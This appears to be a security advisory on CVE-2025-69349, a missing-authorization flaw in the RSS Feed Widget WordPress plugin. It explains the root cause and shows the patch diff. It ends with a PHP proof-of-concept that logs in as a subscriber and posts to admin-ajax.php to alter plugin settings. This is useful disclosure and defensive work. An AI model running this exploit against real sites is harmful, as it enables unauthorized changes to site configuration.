Atomic Edge analysis of CVE-2025-69349:
The RSS Feed Widget plugin for WordPress versions up to and including 3.0.2 contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level permissions or higher to perform unauthorized administrative actions. The vulnerability has a CVSS score of 4.3, indicating medium severity.
The root cause is the absence of a capability check in the plugin’s AJAX request handler. The vulnerable code resides in the file `/rss-feed-widget/inc/functions.php`. The function handling the AJAX request at line 1578 lacked both an AJAX context verification and a user permission check. Attackers could send crafted requests to the WordPress admin-ajax.php endpoint, triggering the plugin’s internal function without proper authorization.
Exploitation requires an authenticated WordPress user account with at least Subscriber privileges. Attackers send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `rsfw_update_options`. The request must include a valid nonce parameter `rsfw_update_options_nonce_action`. Subscriber-level users can obtain this nonce through normal plugin usage. The payload manipulates plugin configuration settings through the vulnerable function.
The patch adds two critical security checks. First, it verifies the request occurs within an AJAX context by checking `!defined(‘DOING_AJAX’) || !DOING_AJAX`. Second, it implements a capability check with `!current_user_can(‘manage_options’)`. These changes restrict the function to administrators only. The version number in `/rss-feed-widget/index.php` increments from 3.0.2 to 3.0.3.
Successful exploitation allows attackers with low-privileged accounts to modify the RSS Feed Widget’s configuration. This could lead to unauthorized changes in widget behavior, feed source manipulation, or injection of malicious content into site feeds. The vulnerability represents a privilege escalation path, enabling subscribers to perform actions reserved for administrators.
--- a/rss-feed-widget/inc/functions.php
+++ b/rss-feed-widget/inc/functions.php
@@ -1578,6 +1578,13 @@
'status' => false,
);
+ if (!defined('DOING_AJAX') || !DOING_AJAX) {
+ wp_die(__('Invalid request', 'rss-feed-widget'));
+ }
+
+ if (!current_user_can('manage_options')) {
+ wp_die(__('Insufficient permissions', 'rss-feed-widget'), 403);
+ }
if ( ! wp_verify_nonce( $nonce, 'rsfw_update_options_nonce_action' ) )
die (__("Nonce did not veriy.", 'rss-feed-widget'));
--- a/rss-feed-widget/index.php
+++ b/rss-feed-widget/index.php
@@ -3,7 +3,7 @@
Plugin Name: RSS Feed Widget
Plugin URI: http://androidbubble.com/blog/wordpress/widgets/rss-feed-widget
Description: RSS Feed Widget with highly customizable slider. Feed title, description, image, cache and many other things which you can control.
-Version: 3.0.2
+Version: 3.0.3
Author: Fahad Mahmood
Author URI: https://www.androidbubbles.com
Text Domain: rss-feed-widget
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69349 - RSS Feed Widget <= 3.0.2 - Missing Authorization
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate and obtain session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Step 2: Visit a page containing the RSS Feed Widget to obtain a nonce
// The nonce parameter 'rsfw_update_options_nonce_action' is required
// This would typically be loaded in page source when widget is present
// For this PoC, we assume the attacker has obtained a valid nonce
$nonce = 'ATTACKER_OBTAINED_NONCE_HERE'; // Replace with actual nonce from page source
// Step 3: Exploit the missing authorization to call admin function
$post_data = [
'action' => 'rsfw_update_options',
'rsfw_update_options_nonce_action' => $nonce,
// Additional plugin-specific parameters would go here
'some_option' => 'malicious_value'
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);
// Check response for success indicators
if (strpos($response, 'status') !== false) {
echo "Exploit successful. Plugin configuration modified.n";
echo "Response: " . $response . "n";
} else {
echo "Exploit failed or site is patched.n";
}
curl_close($ch);
?>
